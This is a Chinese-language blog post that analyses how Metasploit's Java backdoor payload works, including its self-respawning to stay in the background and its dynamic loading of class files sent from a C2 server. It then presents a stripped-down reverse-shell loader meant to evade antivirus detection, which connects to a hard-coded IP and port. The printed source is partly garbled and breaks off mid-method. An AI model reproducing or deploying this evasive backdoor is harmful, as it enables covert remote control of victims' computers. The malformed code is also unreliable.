【Java编程实战】Metasploit_Java后门运⾏原理分析以及实现源码级免杀与JRE
精简化
QQ:3496925334
⽂章作者:MG1937
CNBLOG博客ID:ALDYS4
未经许可,禁⽌转载
某⽇午睡,迷迷糊糊梦到Metasploit⾥有个Java平台的远控载荷,梦醒后,打开虚拟机,在框架中搜索到了这个载荷
0x01 运⾏原理分析
既然是Java平台的程序,JD-GUI等反编译⼯具⾃然必不可少
先利⽤msfvenom输出⼀个java_payload
在Jar的签名⽂件中到加载⼊⼝metasploit.Payload
跟进类⽂件的主函数⼊⼝
可以看到main⽅法⼀开始就初始化了⼀个Properties类,根据官⽅⽂档介绍,该实例可以根据指定的键从⽂件或字符串中提取其值
接下来⼀个str1成员获取了其所在类的类名,记住这个str1成员,在代码下⽂中会运⽤到这个变量
接着inputstream成员获取了⾃⾝jar⽂件中的metasploit.dat⽂件的流
并且让⼀开始就初始化的Properties对象调⽤load⽅法加载了这个⽂件的内容,所以可以猜测该⽂件中应该包含着关键信息
查看⽂件内容
可以看到该⽂件中包含三个键与值,其中两个键是需要反弹的⽬标地址
明晰了⽂件内容后继续向下查看代码
⾸先str2变量获取了metasploit.dat⽂件中键为Executable的值,通过查看⽂件可知并⽆此键,所以跳过第⼀个分⽀,直接向下执⾏
接着成员i获取了⽂件中键为Spawn的值,⽂件中该值为2,程序在判断该值⼤于0后进⼊分⽀
可知该分⽀内程序将成员i的值减去1后重写⼊了原Spawn键,请记住这两个不起眼的操作,⾄于为什么要这么执⾏,在下⽂中会详细解释
继续执⾏,成员file1创建了⼀个临时⽂件,紧接着程序在删除了这个临时⽂件后⼜借助file1创建临时⽂件时得到的路径接连实例化三个File类,并预先传⼊要输出的位置,其中file4就包含了上⽂中出现的str1变量(Payload类的⽂件名),接着程序创建了该路径所在的⽂件夹.
从上⾯这⼀系列操作不难猜出载荷作者可能是要在临时路径中释放载荷⽂件.
接下来程序接连将⾃⾝类实例,str1与file4传⼊writeEmeddedFile⽅法中
跟进⽅法
⼤致浏览代码可知该⽅法的作⽤是获取⾃⾝Jar⽂件中的资源并输出到指定⽂件夹中
从上⽂中可知程序将⾃⾝Payload.class⽂件输出到了临时⽂件夹中
继续阅读代码
程序实例化了FileOutputStream对象,并传⼊了file3成员,也就是临时⽂件夹中metasploit.dat应该输出的位置
接着Properties对象将会把已读取到的键与值写⼊该路径中
继续执⾏,先查看图中第四处红线标记处,其中getJreExecutable⽅法是⽤来获取环境变量中的⽂件路径,若环境变量中不存在JDK或JRE路径,则获取执⾏载荷时所⽤的所在路径
也就是说,该处红线处程序通过实例化Runtime对象并利⽤重新执⾏了已经输出在临时⽂件夹中的Payload.class⽂件
执⾏完成之后程序将休眠2秒,接着删除临时⽂件夹中的所有⽂件
程序到这⾥就执⾏结束了,不会进⼊到下⾯的那个分⽀,main⽅法中的所有代码已经全部执⾏完毕了
WTF?WTF?这不是远控载荷吗?反弹shell的步骤呢?不要说什么反弹shell了,连个Socket连接都没建⽴呢!
先别急,这就是展现载荷作者编写恶意软件时的巧妙之处了,设想⼀下,在Java程序中若直接建⽴Socket连接的话,控制台就会⼀直显⽰在前台等待,直到连接建⽴成功或连接超时时才退出程序,这样的话就不能使得程序不可见并隐蔽到后台
查看上⽂,其中⼀个操作是调⽤Runtime对象并利⽤重新执⾏已经输出在临时⽂件夹中的Payload.class⽂件,
⽽调⽤Runtime执⾏该class⽂件时程序并不会因为这个被重新执⾏的class⽂件还未运⾏完成⽽⼀直在前台等待直到它运⾏结束,那么说了这么多,载荷作者到底想要怎么做是不是已经有点头绪了
先回顾⼀下上⽂中的⼀段代码
还记得上⽂中提到的两个不起眼的操作么?调⽤Properties对象获取Spawn键中的值,并判断值是否⼤于0,若⼤于0就将获取的值减⼀再重新写进Spawn键,换句话说,每次Spawn⼤于0时,程序向下执⾏,最终这个class⽂件就会被重新执⾏⼀遍,⽽Spawn键中的值就会减⼩并再次写进临时⽂件夹中,最终键值等于0时就会进⼊判断的另⼀个分⽀
跟进另⼀个判断分⽀
可以看到在判断的另⼀个分⽀内,程序使得成员j和成员str4分别调⽤Properties对象获取了键LPORT与LHOST的值
程序向下执⾏,直接进⼊图中正下⽅红线标记处的else分⽀,可以看到程序通过实例化Socket类向指定上线地址建⽴套接字,
并将套接字IO流赋予成员inputStream1与outputStream
程序继续在分⽀中向下执⾏
通过红线标记处可知套接字IO流最终被传⼊bootstrap⽅法中
跟进⽅法
如果有看过我上⼀篇分析Android后门的博⽂的话,到这⾥就可以知道该Java后门仍然是利⽤动态加载远程发送的class⽂件的⽅式执⾏C2地址下达的指令的
新瓶装⽼酒,看图中红线标记处,成员i⾸先调⽤readInt⽅法读取IO流中C2地址向受控端发送的int数据,该段数据就是C2地址发送的class⽂件的长度,
可以看到第⼆处红线标记处的arrayOfByte成员实例化byte对象并将class⽂件总长度传⼊,继续向下执⾏,程序调⽤resolveClass⽅法将远程发送来的class⽂件作为对象以实例化成员clazz,最终clazz调⽤getMethod⽅法获取对象中的start⽅法并传⼊套接字IO流后执⾏该⽅法.
⾄此,Java后门代码分析完毕,我画了⼀张图来再次简要表述⼀下后门的运⾏流程
接下来我将对分析出的运⾏流程进⾏验证
打开Eclipse,将JD-GUI反编译出的Java代码直接复制进集成环境中,其中⼀些因为反编译⼯具缺陷⽽出现的语法错误稍微进⾏修正就可以正常执⾏了
先将其中对临时⽂件进⾏删除的代码注释掉,并在成员file1创建临时⽂件之后打印出临时⽂件所在路径
运⾏程序,可见控制台打印出了临时⽂件夹的路径
跟进
可见临时⽂件夹被创建了两次,其中⼀个⽂件夹就是因为Spawn值⼤于0⽽使得⾃⾝class⽂件被重新执⾏⽽创建的
打开其中⼀个⽂件夹中的metasploit.dat⽂件,可以看到其Spawn值已经不⼤于0,此时程序就跳进了下⼀个分⽀并向C2地址建⽴了连接
继续修改代码,可见bootstrap⽅法中红线标记处,此处就是我另外修改的地⽅,浏览代码上下⽂可知我将C2地址发送到受控端的class⽂件输出在桌⾯下反编译该class⽂件
⼤致浏览代码可知该class⽂件中的start⽅法充当⼀个仍然以动态加载class⽂件的⽅式充当接收器的作⽤
以这种⽅法向⽬标建⽴连接以及加载class⽂件,Java后门就能被隐藏在⽤户不可见的后台中
同时这种远程接收class⽂件并动态加载来达到远控的⽅法远不同于其它市⾯上的远控软件,其它间谍软件⽆⾮是将控制功能写在受控端,⽽C2地址去下达指令调⽤写在受控端中的代码,这样的代码不仅不利于维护,灵活性还极差,⽽MSF的后门⼯具则完全相反,动态加载的⽅法可以说是⼀劳永逸,代码维护只需在C2地址上进⾏,⽤户还可以⾃⾏构造class⽂件以进⾏更⾼层次的操作,在这⾥不得不佩服Metasploit团队编写代码和最⼤限度压缩恶意软件体积的能⼒与实⼒
0x02 实现源码级免杀
既然⼿⾥已经有了通过反编译得到的Java后门的源码,那么实现免杀就更轻⽽易举,
有了上⼀次免杀Android后门的经验,只需要对源码合理变动,就能绕过⼤部分杀软的特征检测了
既然运⾏原理已经熟知,这⾥⾸先就对后门进⾏最简化
java源码阅读工具
注意:若仔细看过Java后门的代码,会发现MSF团队不仅仅考虑了Windows系统,也考虑到了在linux平台上进⾏远控的场景
代码不仅包含了以reverse_tcp模式加载的后门代码,也包含了对其他模式进⾏加载的代码(如bind_tcp,reverse_http等等)
所以代码中有⼤量对操作系统和载荷加载模式进⾏判断的操作,在本⽂中并不详细介绍这类⽅法
⽽本⽂的分析仅仅针对对Windows系统和reverse_tcp模式
所以这⾥简化的代码也仅仅针对此系统和此模式
上图就是我简化后的代码,流程更加简明,仅仅两步
建⽴对C2地址的套接字并获取IO流,传⼊bootstrap⽅法动态加载远程发送的⽂件
整个流程仅仅38⾏代码,仅引⼊4个包
⽽原载荷中⼤致有270⾏代码,引⼊23个包
运⾏简化后的代码,meterpreter成功接收到了反弹
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.Socket;
public class Main extends ClassLoader {
public static void main(String[] paramArrayOfString) throws Exception {
getShell();
}
public static void getShell() throws Exception {
InputStream inputStream1 = null;
OutputStream outputStream = null;
int j = new Integer("1937").intValue();
String str4 = "192.168.179.133";
Socket socket = null;
if (str4 != null) {
socket = new Socket(str4, j);
}
inputStream1 = InputStream();
outputStream = OutputStream();
(new Main()).bootstrap(inputStream1, outputStream);